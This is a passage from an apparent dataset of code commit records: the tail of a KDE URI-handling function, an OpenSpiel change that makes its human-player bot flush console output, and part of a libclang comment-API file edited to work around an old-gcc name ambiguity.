\"kmail\", \"KMailIface\" );\n kmailIface.showMail( serialNumber, messageId );\n return true;\n } else if ( uri.startsWith( \"mailto:\" ) ) {\n KApplication::kApplication()->invokeMailer( uri.mid(7), QString::null );\n return true;\n } else if ( uri.startsWith( \"uid:\" ) ) {\n DCOPClient *client = KApplication::kApplication()->dcopClient();\n const QByteArray noParamData;\n const QByteArray paramData;\n QByteArray replyData;\n QCString replyTypeStr;\n bool foundAbbrowser = client->call( \"kaddressbook\", \"KAddressBookIface\",\n \"interfaces()\", noParamData,\n replyTypeStr, replyData );\n if ( foundAbbrowser ) {\n \/\/KAddressbook is already running, so just DCOP to it to bring up the contact editor\n#if KDE_IS_VERSION( 3, 2, 90 )\n kapp->updateRemoteUserTimestamp(\"kaddressbook\");\n#endif\n DCOPRef kaddressbook( \"kaddressbook\", \"KAddressBookIface\" );\n kaddressbook.send( \"showContactEditor\", uri.mid( 6 ) );\n return true;\n } else {\n \/*\n KaddressBook is not already running. Pass it the UID of the contact via the command line while starting it - its neater.\n We start it without its main interface\n *\/\n KIconLoader *iconLoader = new KIconLoader();\n QString iconPath = iconLoader->iconPath( \"go\", KIcon::Small );\n QString tmpStr = \"kaddressbook --editor-only --uid \";\n tmpStr += KProcess::quote( uri.mid( 6 ) );\n KRun::runCommand( tmpStr, \"KAddressBook\", iconPath );\n return true;\n }\n }\n else { \/\/ no special URI, let KDE handle it\n new KRun(KURL( uri ));\n }\n#endif\n \n return false;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2019 DeepMind Technologies Ltd. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"open_spiel\/bots\/human\/human_bot.h\"\n\n#include <algorithm>\n#include <cmath>\n#include <iomanip>\n#include <iostream>\n#include <string>\n#include <unordered_map>\n#include <utility>\n\nnamespace open_spiel {\nnamespace {\n\nconst int kMaxWidth = 80;\nconst int kPadding = 2;\n\nvoid PrintColumns(const std::vector<std::string>& strings) {\n std::string padding_string(kPadding, ' ');\n\n int longest_string_length = 0;\n for (const std::string& string : strings) {\n if (string.length() > longest_string_length) {\n longest_string_length = string.length();\n }\n }\n\n int max_columns = (kMaxWidth - 1) \/ (longest_string_length + 2 * kPadding);\n int rows = ceil((float) strings.size() \/ (float) max_columns);\n int columns = ceil((float) strings.size() \/ (float) rows);\n for (int row = 0; row < rows; ++row) {\n for (int column = 0; column < columns; ++column) {\n int index = row + column * rows;\n if (index < strings.size()) {\n std::cout << std::left << std::setw(longest_string_length + kPadding)\n << padding_string << strings[index];\n }\n }\n std::cout << \"\\n\";\n }\n}\n\n} \/\/ namespace\n\nAction HumanBot::Step(const State& state) {\n std::vector<Action> legal_actions = state.LegalActions(state.CurrentPlayer());\n \n if (legal_actions.empty()) {\n return kInvalidAction;\n }\n\n std::unordered_map<std::string, Action> action_map;\n for (Action legal_action : legal_actions) {\n action_map[state.ActionToString(legal_action)] = legal_action;\n }\n\n while (true) {\n Action action;\n std::string action_string = \"\";\n\n std::cout << \"Choose an action (empty to print legal actions): \";\n std::getline(std::cin, action_string);\n\n \/\/ Print the legal actions if no action is given.\n if (action_string.empty()) {\n std::cout << \"Legal action(s):\\n\";\n\n std::vector<std::string> legal_action_strings;\n std::vector<std::pair<std::string, Action>> sorted_action_map(\n action_map.begin(), action_map.end());\n\n std::sort(sorted_action_map.begin(),\n sorted_action_map.end(),\n [](const auto& left, const auto& right) {\n return left.first.compare(right.first);\n });\n\n int longest_action_length = 0;\n for (const Action& legal_action : legal_actions) {\n int action_length = std::to_string(legal_action).length();\n if (action_length > longest_action_length) {\n longest_action_length = action_length;\n }\n }\n\n for (const auto& string_action_pair : sorted_action_map) {\n std::string action_string = string_action_pair.first;\n std::string action_int_string =\n std::to_string(string_action_pair.second);\n std::string action_padding(\n longest_action_length - action_int_string.length(), ' ');\n legal_action_strings.push_back(absl::StrCat(\n action_padding, action_int_string, \": \", action_string));\n }\n PrintColumns(legal_action_strings);\n continue;\n }\n\n \/\/ Return the action if a valid string is given.\n if (action_map.find(action_string) != action_map.end()) {\n return action_map[action_string];\n }\n\n \/\/ Return the action if a valid integer is given.\n try {\n action = std::stoi(action_string);\n } catch (const std::exception& e) {\n std::cout << \"Could not parse the action: \" << action_string << \"\\n\";\n continue;\n }\n\n for (Action legal_action : legal_actions) {\n if (action == legal_action) {\n return action;\n }\n }\n\n \/\/ The input was not valid.\n std::cout << \"Illegal action selected: \" << action_string << \"\\n\";\n }\n}\n\n} \/\/ namespace open_spiel\n<commit_msg>Flush output in human bot<commit_after>\/\/ Copyright 2019 DeepMind Technologies Ltd. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"open_spiel\/bots\/human\/human_bot.h\"\n\n#include <algorithm>\n#include <cmath>\n#include <iomanip>\n#include <iostream>\n#include <string>\n#include <unordered_map>\n#include <utility>\n\nnamespace open_spiel {\nnamespace {\n\nconst int kMaxWidth = 80;\nconst int kPadding = 2;\n\nvoid PrintColumns(const std::vector<std::string>& strings) {\n std::string padding_string(kPadding, ' ');\n\n int longest_string_length = 0;\n for (const std::string& string : strings) {\n if (string.length() > longest_string_length) {\n longest_string_length = string.length();\n }\n }\n\n int max_columns = (kMaxWidth - 1) \/ (longest_string_length + 2 * kPadding);\n int rows = ceil((float) strings.size() \/ (float) max_columns);\n int columns = ceil((float) strings.size() \/ (float) rows);\n for (int row = 0; row < rows; ++row) {\n for (int column = 0; column < columns; ++column) {\n int index = row + column * rows;\n if (index < strings.size()) {\n std::cout << std::left << std::setw(longest_string_length + kPadding)\n << padding_string << strings[index];\n }\n }\n std::cout << std::endl;\n }\n}\n\n} \/\/ namespace\n\nAction HumanBot::Step(const State& state) {\n std::vector<Action> legal_actions = state.LegalActions(state.CurrentPlayer());\n \n if (legal_actions.empty()) {\n return kInvalidAction;\n }\n\n std::unordered_map<std::string, Action> action_map;\n for (Action legal_action : legal_actions) {\n action_map[state.ActionToString(legal_action)] = legal_action;\n }\n\n while (true) {\n Action action;\n std::string action_string = \"\";\n\n std::cout << \"Choose an action (empty to print legal actions): \";\n std::getline(std::cin, action_string);\n\n \/\/ Print the legal actions if no action is given.\n if (action_string.empty()) {\n std::cout << \"Legal action(s):\" << std::endl;\n\n std::vector<std::string> legal_action_strings;\n std::vector<std::pair<std::string, Action>> sorted_action_map(\n action_map.begin(), action_map.end());\n\n std::sort(sorted_action_map.begin(),\n sorted_action_map.end(),\n [](const auto& left, const auto& right) {\n return left.first.compare(right.first);\n });\n\n int longest_action_length = 0;\n for (const Action& legal_action : legal_actions) {\n int action_length = std::to_string(legal_action).length();\n if (action_length > longest_action_length) {\n longest_action_length = action_length;\n }\n }\n\n for (const auto& string_action_pair : sorted_action_map) {\n std::string action_string = string_action_pair.first;\n std::string action_int_string =\n std::to_string(string_action_pair.second);\n std::string action_padding(\n longest_action_length - action_int_string.length(), ' ');\n legal_action_strings.push_back(absl::StrCat(\n action_padding, action_int_string, \": \", action_string));\n }\n PrintColumns(legal_action_strings);\n continue;\n }\n\n \/\/ Return the action if a valid string is given.\n if (action_map.find(action_string) != action_map.end()) {\n return action_map[action_string];\n }\n\n \/\/ Return the action if a valid integer is given.\n try {\n action = std::stoi(action_string);\n } catch (const std::exception& e) {\n std::cout << \"Could not parse the action: \" << action_string << std::endl;\n continue;\n }\n\n for (Action legal_action : legal_actions) {\n if (action == legal_action) {\n return action;\n }\n }\n\n \/\/ The input was not valid.\n std::cout << \"Illegal action selected: \" << action_string << std::endl;\n }\n}\n\n} \/\/ namespace open_spiel\n<|endoftext|>"} {"text":"<commit_before>\/\/===- CXComment.cpp - libclang APIs for manipulating CXComments ----------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines all libclang APIs related to walking comment AST.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"clang-c\/Index.h\"\n#include \"CXComment.h\"\n#include \"CXCursor.h\"\n#include \"CXString.h\"\n#include \"clang\/AST\/Decl.h\"\n#include \"clang\/Index\/CommentToXML.h\"\n#include \"llvm\/ADT\/StringExtras.h\"\n#include \"llvm\/ADT\/StringSwitch.h\"\n#include \"llvm\/Support\/ErrorHandling.h\"\n#include <climits>\n\nusing namespace clang;\nusing namespace clang::comments;\nusing namespace clang::cxcomment;\n\nextern \"C\" {\n\nenum CXCommentKind clang_Comment_getKind(CXComment CXC) {\n const Comment *C = getASTNode(CXC);\n if (!C)\n return CXComment_Null;\n\n switch (C->getCommentKind()) {\n case Comment::NoCommentKind:\n return CXComment_Null;\n\n case Comment::TextCommentKind:\n return CXComment_Text;\n\n case Comment::InlineCommandCommentKind:\n return CXComment_InlineCommand;\n\n case Comment::HTMLStartTagCommentKind:\n return CXComment_HTMLStartTag;\n\n case Comment::HTMLEndTagCommentKind:\n return CXComment_HTMLEndTag;\n\n case Comment::ParagraphCommentKind:\n return CXComment_Paragraph;\n\n case Comment::BlockCommandCommentKind:\n return CXComment_BlockCommand;\n\n case Comment::ParamCommandCommentKind:\n return CXComment_ParamCommand;\n\n case Comment::TParamCommandCommentKind:\n return CXComment_TParamCommand;\n\n case Comment::VerbatimBlockCommentKind:\n return CXComment_VerbatimBlockCommand;\n\n case Comment::VerbatimBlockLineCommentKind:\n return CXComment_VerbatimBlockLine;\n\n case Comment::VerbatimLineCommentKind:\n return CXComment_VerbatimLine;\n\n case Comment::FullCommentKind:\n return CXComment_FullComment;\n }\n llvm_unreachable(\"unknown CommentKind\");\n}\n\nunsigned clang_Comment_getNumChildren(CXComment CXC) {\n const Comment *C = getASTNode(CXC);\n if (!C)\n return 0;\n\n return C->child_count();\n}\n\nCXComment clang_Comment_getChild(CXComment CXC, unsigned ChildIdx) {\n const Comment *C = getASTNode(CXC);\n if (!C || ChildIdx >= C->child_count())\n return createCXComment(NULL, NULL);\n\n return createCXComment(*(C->child_begin() + ChildIdx), CXC.TranslationUnit);\n}\n\nunsigned clang_Comment_isWhitespace(CXComment CXC) {\n const Comment *C = getASTNode(CXC);\n if (!C)\n return false;\n\n if (const TextComment *TC = dyn_cast<TextComment>(C))\n return TC->isWhitespace();\n\n if (const ParagraphComment *PC = dyn_cast<ParagraphComment>(C))\n return PC->isWhitespace();\n\n return false;\n}\n\nunsigned clang_InlineContentComment_hasTrailingNewline(CXComment CXC) {\n const InlineContentComment *ICC = getASTNodeAs<InlineContentComment>(CXC);\n if (!ICC)\n return false;\n\n return ICC->hasTrailingNewline();\n}\n\nCXString clang_TextComment_getText(CXComment CXC) {\n const TextComment *TC = getASTNodeAs<TextComment>(CXC);\n if (!TC)\n return cxstring::createNull();\n\n return cxstring::createRef(TC->getText());\n}\n\nCXString clang_InlineCommandComment_getCommandName(CXComment CXC) {\n const InlineCommandComment *ICC = getASTNodeAs<InlineCommandComment>(CXC);\n if (!ICC)\n return cxstring::createNull();\n\n const CommandTraits &Traits = getCommandTraits(CXC);\n return cxstring::createRef(ICC->getCommandName(Traits));\n}\n\nenum CXCommentInlineCommandRenderKind\nclang_InlineCommandComment_getRenderKind(CXComment CXC) {\n const InlineCommandComment *ICC = getASTNodeAs<InlineCommandComment>(CXC);\n if (!ICC)\n return CXCommentInlineCommandRenderKind_Normal;\n\n switch (ICC->getRenderKind()) {\n case InlineCommandComment::RenderNormal:\n return CXCommentInlineCommandRenderKind_Normal;\n\n case InlineCommandComment::RenderBold:\n return CXCommentInlineCommandRenderKind_Bold;\n\n case InlineCommandComment::RenderMonospaced:\n return CXCommentInlineCommandRenderKind_Monospaced;\n\n case InlineCommandComment::RenderEmphasized:\n return CXCommentInlineCommandRenderKind_Emphasized;\n }\n llvm_unreachable(\"unknown InlineCommandComment::RenderKind\");\n}\n\nunsigned clang_InlineCommandComment_getNumArgs(CXComment CXC) {\n const InlineCommandComment *ICC = getASTNodeAs<InlineCommandComment>(CXC);\n if (!ICC)\n return 0;\n\n return ICC->getNumArgs();\n}\n\nCXString clang_InlineCommandComment_getArgText(CXComment CXC,\n unsigned ArgIdx) {\n const InlineCommandComment *ICC = getASTNodeAs<InlineCommandComment>(CXC);\n if (!ICC || ArgIdx >= ICC->getNumArgs())\n return cxstring::createNull();\n\n return cxstring::createRef(ICC->getArgText(ArgIdx));\n}\n\nCXString clang_HTMLTagComment_getTagName(CXComment CXC) {\n const HTMLTagComment *HTC = getASTNodeAs<HTMLTagComment>(CXC);\n if (!HTC)\n return cxstring::createNull();\n\n return cxstring::createRef(HTC->getTagName());\n}\n\nunsigned clang_HTMLStartTagComment_isSelfClosing(CXComment CXC) {\n const HTMLStartTagComment *HST = getASTNodeAs<HTMLStartTagComment>(CXC);\n if (!HST)\n return false;\n\n return HST->isSelfClosing();\n}\n\nunsigned clang_HTMLStartTag_getNumAttrs(CXComment CXC) {\n const HTMLStartTagComment *HST = getASTNodeAs<HTMLStartTagComment>(CXC);\n if (!HST)\n return 0;\n\n return HST->getNumAttrs();\n}\n\nCXString clang_HTMLStartTag_getAttrName(CXComment CXC, unsigned AttrIdx) {\n const HTMLStartTagComment *HST = getASTNodeAs<HTMLStartTagComment>(CXC);\n if (!HST || AttrIdx >= HST->getNumAttrs())\n return cxstring::createNull();\n\n return cxstring::createRef(HST->getAttr(AttrIdx).Name);\n}\n\nCXString clang_HTMLStartTag_getAttrValue(CXComment CXC, unsigned AttrIdx) {\n const HTMLStartTagComment *HST = getASTNodeAs<HTMLStartTagComment>(CXC);\n if (!HST || AttrIdx >= HST->getNumAttrs())\n return cxstring::createNull();\n\n return cxstring::createRef(HST->getAttr(AttrIdx).Value);\n}\n\nCXString clang_BlockCommandComment_getCommandName(CXComment CXC) {\n const BlockCommandComment *BCC = getASTNodeAs<BlockCommandComment>(CXC);\n if (!BCC)\n return cxstring::createNull();\n\n const CommandTraits &Traits = getCommandTraits(CXC);\n return cxstring::createRef(BCC->getCommandName(Traits));\n}\n\nunsigned clang_BlockCommandComment_getNumArgs(CXComment CXC) {\n const BlockCommandComment *BCC = getASTNodeAs<BlockCommandComment>(CXC);\n if (!BCC)\n return 0;\n\n return BCC->getNumArgs();\n}\n\nCXString clang_BlockCommandComment_getArgText(CXComment CXC,\n unsigned ArgIdx) {\n const BlockCommandComment *BCC = getASTNodeAs<BlockCommandComment>(CXC);\n if (!BCC || ArgIdx >= BCC->getNumArgs())\n return cxstring::createNull();\n\n return cxstring::createRef(BCC->getArgText(ArgIdx));\n}\n\nCXComment clang_BlockCommandComment_getParagraph(CXComment CXC) {\n const BlockCommandComment *BCC = getASTNodeAs<BlockCommandComment>(CXC);\n if (!BCC)\n return createCXComment(NULL, NULL);\n\n return createCXComment(BCC->getParagraph(), CXC.TranslationUnit);\n}\n\nCXString clang_ParamCommandComment_getParamName(CXComment CXC) {\n const ParamCommandComment *PCC = getASTNodeAs<ParamCommandComment>(CXC);\n if (!PCC || !PCC->hasParamName())\n return cxstring::createNull();\n\n return cxstring::createRef(PCC->getParamNameAsWritten());\n}\n\nunsigned clang_ParamCommandComment_isParamIndexValid(CXComment CXC) {\n const ParamCommandComment *PCC = getASTNodeAs<ParamCommandComment>(CXC);\n if (!PCC)\n return false;\n\n return PCC->isParamIndexValid();\n}\n\nunsigned clang_ParamCommandComment_getParamIndex(CXComment CXC) {\n const ParamCommandComment *PCC = getASTNodeAs<ParamCommandComment>(CXC);\n if (!PCC || !PCC->isParamIndexValid() || PCC->isVarArgParam())\n return ParamCommandComment::InvalidParamIndex;\n\n return PCC->getParamIndex();\n}\n\nunsigned clang_ParamCommandComment_isDirectionExplicit(CXComment CXC) {\n const ParamCommandComment *PCC = getASTNodeAs<ParamCommandComment>(CXC);\n if (!PCC)\n return false;\n\n return PCC->isDirectionExplicit();\n}\n\nenum CXCommentParamPassDirection clang_ParamCommandComment_getDirection(\n CXComment CXC) {\n const ParamCommandComment *PCC = getASTNodeAs<ParamCommandComment>(CXC);\n if (!PCC)\n return CXCommentParamPassDirection_In;\n\n switch (PCC->getDirection()) {\n case ParamCommandComment::In:\n return CXCommentParamPassDirection_In;\n\n case ParamCommandComment::Out:\n return CXCommentParamPassDirection_Out;\n\n case ParamCommandComment::InOut:\n return CXCommentParamPassDirection_InOut;\n }\n llvm_unreachable(\"unknown ParamCommandComment::PassDirection\");\n}\n\nCXString clang_TParamCommandComment_getParamName(CXComment CXC) {\n const TParamCommandComment *TPCC = getASTNodeAs<TParamCommandComment>(CXC);\n if (!TPCC || !TPCC->hasParamName())\n return cxstring::createNull();\n\n return cxstring::createRef(TPCC->getParamNameAsWritten());\n}\n\nunsigned clang_TParamCommandComment_isParamPositionValid(CXComment CXC) {\n const TParamCommandComment *TPCC = getASTNodeAs<TParamCommandComment>(CXC);\n if (!TPCC)\n return false;\n\n return TPCC->isPositionValid();\n}\n\nunsigned clang_TParamCommandComment_getDepth(CXComment CXC) {\n const TParamCommandComment *TPCC = getASTNodeAs<TParamCommandComment>(CXC);\n if (!TPCC || !TPCC->isPositionValid())\n return 0;\n\n return TPCC->getDepth();\n}\n\nunsigned clang_TParamCommandComment_getIndex(CXComment CXC, unsigned Depth) {\n const TParamCommandComment *TPCC = getASTNodeAs<TParamCommandComment>(CXC);\n if (!TPCC || !TPCC->isPositionValid() || Depth >= TPCC->getDepth())\n return 0;\n\n return TPCC->getIndex(Depth);\n}\n\nCXString clang_VerbatimBlockLineComment_getText(CXComment CXC) {\n const VerbatimBlockLineComment *VBL =\n getASTNodeAs<VerbatimBlockLineComment>(CXC);\n if (!VBL)\n return cxstring::createNull();\n\n return cxstring::createRef(VBL->getText());\n}\n\nCXString clang_VerbatimLineComment_getText(CXComment CXC) {\n const VerbatimLineComment *VLC = getASTNodeAs<VerbatimLineComment>(CXC);\n if (!VLC)\n return cxstring::createNull();\n\n return cxstring::createRef(VLC->getText());\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Converting comments to XML.\n\/\/===----------------------------------------------------------------------===\/\/\n\nCXString clang_HTMLTagComment_getAsString(CXComment CXC) {\n const HTMLTagComment *HTC = getASTNodeAs<HTMLTagComment>(CXC);\n if (!HTC)\n return cxstring::createNull();\n\n CXTranslationUnit TU = CXC.TranslationUnit;\n if (!TU->CommentToXML)\n TU->CommentToXML = new index::CommentToXMLConverter();\n\n SmallString<128> Text;\n TU->CommentToXML->convertHTMLTagNodeToText(\n HTC, Text, cxtu::getASTUnit(TU)->getASTContext());\n return cxstring::createDup(Text.str());\n}\n\nCXString clang_FullComment_getAsHTML(CXComment CXC) {\n const FullComment *FC = getASTNodeAs<FullComment>(CXC);\n if (!FC)\n return cxstring::createNull();\n\n CXTranslationUnit TU = CXC.TranslationUnit;\n if (!TU->CommentToXML)\n TU->CommentToXML = new index::CommentToXMLConverter();\n\n SmallString<1024> HTML;\n TU->CommentToXML\n ->convertCommentToHTML(FC, HTML, cxtu::getASTUnit(TU)->getASTContext());\n return cxstring::createDup(HTML.str());\n}\n\nCXString clang_FullComment_getAsXML(CXComment CXC) {\n const FullComment *FC = getASTNodeAs<FullComment>(CXC);\n if (!FC)\n return cxstring::createNull();\n\n CXTranslationUnit TU = CXC.TranslationUnit;\n if (!TU->CommentToXML)\n TU->CommentToXML = new index::CommentToXMLConverter();\n\n SmallString<1024> XML;\n TU->CommentToXML\n ->convertCommentToXML(FC, XML, cxtu::getASTUnit(TU)->getASTContext());\n return cxstring::createDup(XML.str());\n}\n\n} \/\/ end extern \"C\"\n\n<commit_msg>Work around a bug in old gcc on the FreeBSD bot, which complains about ambiguity between index() function and clang::index namespace.<commit_after>\/\/===- CXComment.cpp - libclang APIs for manipulating CXComments ----------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines all libclang APIs related to walking comment AST.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"clang-c\/Index.h\"\n#include \"CXComment.h\"\n#include \"CXCursor.h\"\n#include \"CXString.h\"\n#include \"clang\/AST\/Decl.h\"\n#include \"clang\/Index\/CommentToXML.h\"\n#include \"llvm\/ADT\/StringExtras.h\"\n#include \"llvm\/ADT\/StringSwitch.h\"\n#include \"llvm\/Support\/ErrorHandling.h\"\n#include <climits>\n\nusing namespace clang;\nusing namespace clang::comments;\nusing namespace clang::cxcomment;\n\nextern \"C\" {\n\nenum CXCommentKind clang_Comment_getKind(CXComment CXC) {\n const Comment *C = getASTNode(CXC);\n if (!C)\n return CXComment_Null;\n\n switch (C->getCommentKind()) {\n case Comment::NoCommentKind:\n return CXComment_Null;\n\n case Comment::TextCommentKind:\n return CXComment_Text;\n\n case Comment::InlineCommandCommentKind:\n return CXComment_InlineCommand;\n\n case Comment::HTMLStartTagCommentKind:\n return CXComment_HTMLStartTag;\n\n case Comment::HTMLEndTagCommentKind:\n return CXComment_HTMLEndTag;\n\n case Comment::ParagraphCommentKind:\n return CXComment_Paragraph;\n\n case Comment::BlockCommandCommentKind:\n return CXComment_BlockCommand;\n\n case Comment::ParamCommandCommentKind:\n return CXComment_ParamCommand;\n\n case Comment::TParamCommandCommentKind:\n return CXComment_TParamCommand;\n\n case Comment::VerbatimBlockCommentKind:\n return CXComment_VerbatimBlockCommand;\n\n case Comment::VerbatimBlockLineCommentKind:\n return CXComment_VerbatimBlockLine;\n\n case Comment::VerbatimLineCommentKind:\n return CXComment_VerbatimLine;\n\n case Comment::FullCommentKind:\n return CXComment_FullComment;\n }\n llvm_unreachable(\"unknown CommentKind\");\n}\n\nunsigned clang_Comment_getNumChildren(CXComment CXC) {\n const Comment *C = getASTNode(CXC);\n if (!C)\n return 0;\n\n return C->child_count();\n}\n\nCXComment clang_Comment_getChild(CXComment CXC, unsigned ChildIdx) {\n const Comment *C = getASTNode(CXC);\n if (!C || ChildIdx >= C->child_count())\n return createCXComment(NULL, NULL);\n\n return createCXComment(*(C->child_begin() + ChildIdx), CXC.TranslationUnit);\n}\n\nunsigned clang_Comment_isWhitespace(CXComment CXC) {\n const Comment *C = getASTNode(CXC);\n if (!C)\n return false;\n\n if (const TextComment *TC = dyn_cast<TextComment>(C))\n return TC->isWhitespace();\n\n if (const ParagraphComment *PC = dyn_cast<ParagraphComment>(C))\n return PC->isWhitespace();\n\n return false;\n}\n\nunsigned clang_InlineContentComment_hasTrailingNewline(CXComment CXC) {\n const InlineContentComment *ICC = getASTNodeAs<InlineContentComment>(CXC);\n if (!ICC)\n return false;\n\n return ICC->hasTrailingNewline();\n}\n\nCXString clang_TextComment_getText(CXComment CXC) {\n const TextComment *TC = getASTNodeAs<TextComment>(CXC);\n if (!TC)\n return cxstring::createNull();\n\n return cxstring::createRef(TC->getText());\n}\n\nCXString clang_InlineCommandComment_getCommandName(CXComment CXC) {\n const InlineCommandComment *ICC = getASTNodeAs<InlineCommandComment>(CXC);\n if (!ICC)\n return cxstring::createNull();\n\n const CommandTraits &Traits = getCommandTraits(CXC);\n return cxstring::createRef(ICC->getCommandName(Traits));\n}\n\nenum CXCommentInlineCommandRenderKind\nclang_InlineCommandComment_getRenderKind(CXComment CXC) {\n const InlineCommandComment *ICC = getASTNodeAs<InlineCommandComment>(CXC);\n if (!ICC)\n return CXCommentInlineCommandRenderKind_Normal;\n\n switch (ICC->getRenderKind()) {\n case InlineCommandComment::RenderNormal:\n return CXCommentInlineCommandRenderKind_Normal;\n\n case InlineCommandComment::RenderBold:\n return CXCommentInlineCommandRenderKind_Bold;\n\n case InlineCommandComment::RenderMonospaced:\n return CXCommentInlineCommandRenderKind_Monospaced;\n\n case InlineCommandComment::RenderEmphasized:\n return CXCommentInlineCommandRenderKind_Emphasized;\n }\n llvm_unreachable(\"unknown InlineCommandComment::RenderKind\");\n}\n\nunsigned clang_InlineCommandComment_getNumArgs(CXComment CXC) {\n const InlineCommandComment *ICC = getASTNodeAs<InlineCommandComment>(CXC);\n if (!ICC)\n return 0;\n\n return ICC->getNumArgs();\n}\n\nCXString clang_InlineCommandComment_getArgText(CXComment CXC,\n unsigned ArgIdx) {\n const InlineCommandComment *ICC = getASTNodeAs<InlineCommandComment>(CXC);\n if (!ICC || ArgIdx >= ICC->getNumArgs())\n return cxstring::createNull();\n\n return cxstring::createRef(ICC->getArgText(ArgIdx));\n}\n\nCXString clang_HTMLTagComment_getTagName(CXComment CXC) {\n const HTMLTagComment *HTC = getASTNodeAs<HTMLTagComment>(CXC);\n if (!HTC)\n return cxstring::createNull();\n\n return cxstring::createRef(HTC->getTagName());\n}\n\nunsigned clang_HTMLStartTagComment_isSelfClosing(CXComment CXC) {\n const HTMLStartTagComment *HST = getASTNodeAs<HTMLStartTagComment>(CXC);\n if (!HST)\n return false;\n\n return HST->isSelfClosing();\n}\n\nunsigned clang_HTMLStartTag_getNumAttrs(CXComment CXC) {\n const HTMLStartTagComment *HST = getASTNodeAs<HTMLStartTagComment>(CXC);\n if (!HST)\n return 0;\n\n return HST->getNumAttrs();\n}\n\nCXString clang_HTMLStartTag_getAttrName(CXComment CXC, unsigned AttrIdx) {\n const HTMLStartTagComment *HST = getASTNodeAs<HTMLStartTagComment>(CXC);\n if (!HST || AttrIdx >= HST->getNumAttrs())\n return cxstring::createNull();\n\n return cxstring::createRef(HST->getAttr(AttrIdx).Name);\n}\n\nCXString clang_HTMLStartTag_getAttrValue(CXComment CXC, unsigned AttrIdx) {\n const HTMLStartTagComment *HST = getASTNodeAs<HTMLStartTagComment>(CXC);\n if (!HST || AttrIdx >= HST->getNumAttrs())\n return cxstring::createNull();\n\n return cxstring::createRef(HST->getAttr(AttrIdx).Value);\n}\n\nCXString clang_BlockCommandComment_getCommandName(CXComment CXC) {\n const BlockCommandComment *BCC = getASTNodeAs<BlockCommandComment>(CXC);\n if (!BCC)\n return cxstring::createNull();\n\n const CommandTraits &Traits = getCommandTraits(CXC);\n return cxstring::createRef(BCC->getCommandName(Traits));\n}\n\nunsigned clang_BlockCommandComment_getNumArgs(CXComment CXC) {\n const BlockCommandComment *BCC = getASTNodeAs<BlockCommandComment>(CXC);\n if (!BCC)\n return 0;\n\n return BCC->getNumArgs();\n}\n\nCXString clang_BlockCommandComment_getArgText(CXComment CXC,\n unsigned ArgIdx) {\n const BlockCommandComment *BCC = getASTNodeAs<BlockCommandComment>(CXC);\n if (!BCC || ArgIdx >= BCC->getNumArgs())\n return cxstring::createNull();\n\n return cxstring::createRef(BCC->getArgText(ArgIdx));\n}\n\nCXComment clang_BlockCommandComment_getParagraph(CXComment CXC) {\n const BlockCommandComment *BCC = getASTNodeAs<BlockCommandComment>(CXC);\n if (!BCC)\n return createCXComment(NULL, NULL);\n\n return createCXComment(BCC->getParagraph(), CXC.TranslationUnit);\n}\n\nCXString clang_ParamCommandComment_getParamName(CXComment CXC) {\n const ParamCommandComment *PCC = getASTNodeAs<ParamCommandComment>(CXC);\n if (!PCC || !PCC->hasParamName())\n return cxstring::createNull();\n\n return cxstring::createRef(PCC->getParamNameAsWritten());\n}\n\nunsigned clang_ParamCommandComment_isParamIndexValid(CXComment CXC) {\n const ParamCommandComment *PCC = getASTNodeAs<ParamCommandComment>(CXC);\n if (!PCC)\n return false;\n\n return PCC->isParamIndexValid();\n}\n\nunsigned clang_ParamCommandComment_getParamIndex(CXComment CXC) {\n const ParamCommandComment *PCC = getASTNodeAs<ParamCommandComment>(CXC);\n if (!PCC || !PCC->isParamIndexValid() || PCC->isVarArgParam())\n return ParamCommandComment::InvalidParamIndex;\n\n return PCC->getParamIndex();\n}\n\nunsigned clang_ParamCommandComment_isDirectionExplicit(CXComment CXC) {\n const ParamCommandComment *PCC = getASTNodeAs<ParamCommandComment>(CXC);\n if (!PCC)\n return false;\n\n return PCC->isDirectionExplicit();\n}\n\nenum CXCommentParamPassDirection clang_ParamCommandComment_getDirection(\n CXComment CXC) {\n const ParamCommandComment *PCC = getASTNodeAs<ParamCommandComment>(CXC);\n if (!PCC)\n return CXCommentParamPassDirection_In;\n\n switch (PCC->getDirection()) {\n case ParamCommandComment::In:\n return CXCommentParamPassDirection_In;\n\n case ParamCommandComment::Out:\n return CXCommentParamPassDirection_Out;\n\n case ParamCommandComment::InOut:\n return CXCommentParamPassDirection_InOut;\n }\n llvm_unreachable(\"unknown ParamCommandComment::PassDirection\");\n}\n\nCXString clang_TParamCommandComment_getParamName(CXComment CXC) {\n const TParamCommandComment *TPCC = getASTNodeAs<TParamCommandComment>(CXC);\n if (!TPCC || !TPCC->hasParamName())\n return cxstring::createNull();\n\n return cxstring::createRef(TPCC->getParamNameAsWritten());\n}\n\nunsigned clang_TParamCommandComment_isParamPositionValid(CXComment CXC) {\n const TParamCommandComment *TPCC = 